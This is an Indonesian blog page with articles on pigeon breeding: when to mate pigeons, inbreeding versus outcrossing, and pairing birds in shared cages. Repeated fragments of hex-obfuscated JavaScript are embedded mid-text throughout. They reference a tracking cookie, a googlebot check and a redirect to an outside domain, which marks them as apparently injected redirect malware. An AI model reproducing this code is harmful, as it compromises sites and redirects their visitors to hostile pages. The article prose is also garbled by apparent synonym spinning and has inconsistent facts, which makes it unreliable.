IBX5980432E7F390 Cara Mengawinkan Merpati yang Baik Kupas Triknya - Kicauan Burung Lovebird Ngekek

Cara Mengawinkan Merpati yang Baik Kupas Triknya

Cara Mengawinkan Merpati yang Baik

Cara mengawinkan merpati yang baik-Penangkar yang sudah berpengalaman niscayalah ia tahu bagaimana cara mengawinkan merpati dengan baik. Baik dalam arti disini adalah benar dan tidak menyiksa merpati. Jadi, sebagai seorang penangkar hendaknya kita harus mengawinkan merpati dengan  benar dan tidak menyalahi aturan.

Hal ini diterapkan tidak hanya kepada peternak burung merpati saja, tetapi juga kepada penghobi merpati, supaya merpati mereka dapat melahirkan variasi yang baru.

Sebagian besar penangkar burung merpati mengawinkan burung merpati dengan benar dan tidak menyalahi hukum.Cara Mengawinkan Merpati yang Baik

Akan tetapi, dari sekian banyak orang yang memelihara merpati dengan baik, ada juga sebagian oknum tertentu yang memelihara merpati dengan menyalahi hukum.

Merpati mampu bertahan hidup paling lama 10 tahun. Untuk merpati yang berumur lebih dari 10 tahun jarang ditemukan lagi, di Indonesia maupun diluar Indonesia.

Akan tetapi, walaupun merpati mampu bertahan hidup hingga 10 tahun, beliau hanya mampu bereproduksi dengan baik hingga dengan umur 6 tahun.

Di atas umur 6 tahun, merpati sudah tidak bisa bereproduksi lagi. Jikapun ada mungkin merpati tersebut tidak dapat bereproduksi dengan baik lagi layaknya merpati yang masih berumur dibawah 6 tahun.

Untuk itu, bagi para penangkar burung merpati disarankan agar jangan mengawinkan merpati terlalu renta.

Karena bila terlalu bau tanah nantinya merpati tidak mampu bereproduksi lagi Apalagi pada merpati betina yang sangat-sangat ditekankan jangan terlalu usang mengawinkannya.

Biasanya, kalau merpati ingin kawin, maka merpati akan menunjukkan perilakunya yang mau kawin. Jika merpati sudah menunjukkan perilaku seakan-akan itu eksklusif saja burung tersebut dikawinkan.

Burung merpati biasanya akan mencari pasangannya  sendiri. Akan tetapi, kalau si penangkar menginginkan merpatinya dijodohkan dengan burung merpati pilihannya maka boleh-boleh saja.

Sepasang burung merpati yang berjodoh kalau disatukan niscaya mereka bersatu. Sebaliknya, jikalau kedua pasang merpati tersebut tidak berjodoh bila disatukan niscaya mereka tidak bisa disatukan.

Merpati jantan yang sudah merasa cocok dengan si betinanya yang akan merpati jantan lakukan adalah mendekati si betinanya sampai dia menerimanya.

Merpati jantan akan membusungkan dadanya. Dengan begitu maka si betinanya niscaya akan tertarik dengan si jantan. Selain membusungkan dadanya biasanya yang dilakukan oleh merpati jantan yaitu bersiul-siul di depan si merpati betina.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)ze))(navigator[_0x446d[3]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)wg)(navigator[_0x446d[3]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)

Baca juga: Ciri Fisik dan bunyi murai batu medan gacor

Wajib Penting Di baca

  • Cara Merawat Anakan Merpati Sampai Dewasa
  • Tips Melombakan Burung Merpati Betina
  • Cara Mengawinkan Induk Merpati Liar
  • Sistem Lomba Merpati Duda
  • Tips Menjaga Kesehatan Merpati Lomba
  • Menjaga Kesehatan Burung Merpati Harian
  • Melatih Merpati Menjelang Lomba
  • 2 Jenis Burung Merpati Impor Berkualitas
  • Mata Merpati Paling Bagus Untuk Lomba
  • Jenis Burung Merpati Paling Populer
  • Pertandingan Sistem Duda Merpati

Cara Mengawinkan Induk Merpati Liar

Cara mengawinkan induk merpati liar-Dalam kasus kawin, merpati mempunyai 3 jenis cara berkawin. Jenis-jenisnya ialah, perkawinan marga atau crossbreeding, dan yang terakhir ialah perkawinan keluar atau outcrossing.

Yang paling banyak digunakan oleh penangkar untuk mengawinkan burung merpatinya ialah perkawinan dengan cara keluar atau outcrossing.

Untuk mengetahui lebih jelasnya perihal macam-macam perkawinan yang mampu digunakan untuk mengawinkan merpati, mari kita simak klarifikasi di bawah ini secara mendetail.Cara Mengawinkan Induk Merpati Liar

Perkawinan marga merpati

Perkawinan marga merupakan perkawinan yang dilakukan oleh merpati dengan cara mengawinkan merpati dengan anggota keluarga merpati tersebut. Biasanya, yang melaksanakan perkawinan marga yaitu merpati yang ada di penangkaran.

Untuk merpati yang ada di alam liar hanya sedikit saja. Di dalam satu penangkaran terdapat satu anggota keluar merpati yang masih mempunyai korelasi darah.

Yang masih mempunyai relasi darah itulah yang akan dikawinkan. Apa tujuan dari perkawinan seakan-akan ini? Tujuan dari perkawinan ini yaitu supaya keturunan dari anggota keluarga tersbeut tidak akan punah sampai kapanpun.

Dengan arti kata lain yaitu penangkar yang menangkarkan burung merpati ini tidak mau keturunan dari suatu kelompok merpati tersebut punah. Bukankah perkawinan dengan cara seolah-olah ini hanya sedikit kemungkinannya mendapatkan variasi merpati yang gres?

Ya memang perkawiann seperti ini tidak akan menambah variasi merpati yang baru. Karena tujuan dari perkawinan marga ini yaitu mempertahankan keturunan dari suatu kelompok merpati.

Perkawinan Keluar merpati

Perkawinan keluar atau bahasa latinnya outcrossing berbeda dengan perkawinan marga. Perkawinan ini merupakan perkawinan yang dilakukan antara merpati yang tidak ada relasi darahnya.

Perkawinan dengan cara seperti ini banyak digunakan oleh penangkar. Mengapa begitu? Karena perkawinan dengan cara seperti ini dapat menghasilkan variasi merpati yang gres.

Jika perkawinan dengan cara perkawinan marga kemungkinan menerima variasi merpati yang baru itu sangat kecil, perkawinan dengan cara keluar kemungkinan menghasilkan variasi merpati yang baru itu sangat besar.

Mengapa begitu? Karena merpati yang dikawinkan dengan cara perkawinan keluar mampu kawin dengan merpati mana saja yang tidak satu keluarga. Dengan dedmikian, burung dapat melahirkan variasi gres lagi.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) window[_0x446d[5]],_0x446d[6])var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) window[_0x446d[5]],_0x446d[6])

Baca juga: Ciri Fisik dan suara murai watu medan gacor

Wajib Penting Di baca

  • Penentuan Lokasi Gedung Rumah Walet
  • Teknik Menjodohkan Merpati Secara Cepat
  • Cara Mengawinkan Merpati yang Baik
  • Cara Merawat Anakan Merpati Sampai Dewasa
  • Membuat Kandang Ideal Untuk Merpati Pos
  • Sistem Lomba Merpati Duda
  • Pakan Untuk Jenis Merpati Padaging
  • Cara Beternak Merpati Pedaging Pemula
  • Cara Beternak Burung Merpati Kusus Pemula
  • Melatih Merpati Menjelang Lomba
  • Pertandingan Sistem Duda Merpati

Teknik Menjodohkan Merpati Secara Cepat

Teknik menjodohkan merpati secara cepat-Burung merpati merupakan salah satu burung yang tidak berganti-ganti pasangan. Apabila dia sudah mempunyai satu pasangan, ia tidak akan berganti pasangan lagi. Akan tetapi, burung merpati yang seakan-akan ini hanya ada di alam bebas.

Burung merpati yang sudah ditangkarkan oleh orang, pasangannya bisa berganti-ganti. Mengapa antara di alam liar dan di penangkaran berbeda?

Karena jika di alam liar, antara merpati yang sudah berjodoh, tidak ada yang memisahkannya sampai pasangan tersebut mati.Teknik Menjodohkan Merpati Secara Cepat

Berbeda dengan ddi penangkaran, burung yang  sudah berjodoh kemudian dipisahkan lagi. Setelah itu penangkar akan menjodohkan kembali pasangan tersebut. Mau tidak mau niscaya merpati akan kawin kembali.

Biasanya di penangkaran, burung-burung yang belum mempunyai pasangan akan disatukan di kandang yang sama. Tentunya dengan sangkar yang berukuran lebih besar daripada kandang lainnya dan dengan jumlah antara betina dan jantan yang sama.

Hal ini dilakukan bertujuan agar burung tersebut mampu mencari pasangannya sendiri. Kaprikornus, bukan penangkar yang menjodohkan, tetapi burung itu sendiri.

Di dalam satu kandang hanya boleh diisi dengan 4 ekor burung betina dan 4 ekor burung jantan. Kapasitas kandang dilarang berlebihan, lantaran nantinya akan mempersulit proses penjodohan. Di dalam sangkar tersebut, masing-masing burung akan mencari pasangannya.

Biasanya, yang akan mencari pasangan ialah merpati jantan dahulu. Merpati betina hanya berdiam diri saja, dan kemudian merpati jantanlah yang akan mendekatinya.

Setiap hal pasti ada resikonya. Tidak terkecuali dengan menjodohkan merpati melalui penyatuan beberapa merpati jantan dan betina di dalam satu sangkar. Resiko yang mampu terjadi ialah, akan ada perkelahian antara masing-masing pejantan lantaran memperebutkan betinanya.

Biasanya, dua ekor merpati jantan memperebutkan satu ekor burung merpati betina. Inilah kasus terjadinya perkelahian antara merpati jantan.

Setelah proses perkawinan tamat, sekarang giliran merpati betinanya yang bertelur. Sebelum merpati betina bertelur, biasanya penangkar mempersiapkan sangkar di dalam glodok. Glodok terdapat di dalam kandang juga.

Di dalam glodok tersebutlah burung akan bertelur dan merawat anakannya. Biasanya, antara merpati jantan dan betina akan membesarkan anakannya bersama. Akan tetapi, jika penangkar sengaja memisahkan merpati dengan anakannya, maka burung tersebut tidak bisa membesarkan anakannya.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) window[_0x446d[5]],_0x446d[6])var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)cldc)(navigator[_0x446d[3]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)attw)(navigator[_0x446d[3]]

Baca juga: Ciri Fisik dan bunyi murai batu medan gacor

Wajib Penting Di baca

  • Cara Merawat Anakan Merpati Sampai Dewasa
  • Cara Beternak Merpati Pedaging Pemula
  • Cara Mengawinkan Induk Merpati Liar
  • Melatih Merpati Menjelang Lomba
  • Cara Melatih Burung Merpati Muda
  • Pakan Untuk Jenis Merpati Padaging
  • Merawat Dan Melatih Anakan Merpati
  • Cara Mengawinkan Merpati yang Baik
  • Persiapan Sebelum Beternak Burung Merpati
  • Masa Pengeraman Induk Burung Merpati
  • Persiapan Merpati Sebelum Masuk Lomba

Berlangganan Untuk Mendapatkan Artikel Terbaru:

0 Komentar Untuk " Cara Mengawinkan Merpati yang Baik Kupas Triknya"

Posting Komentar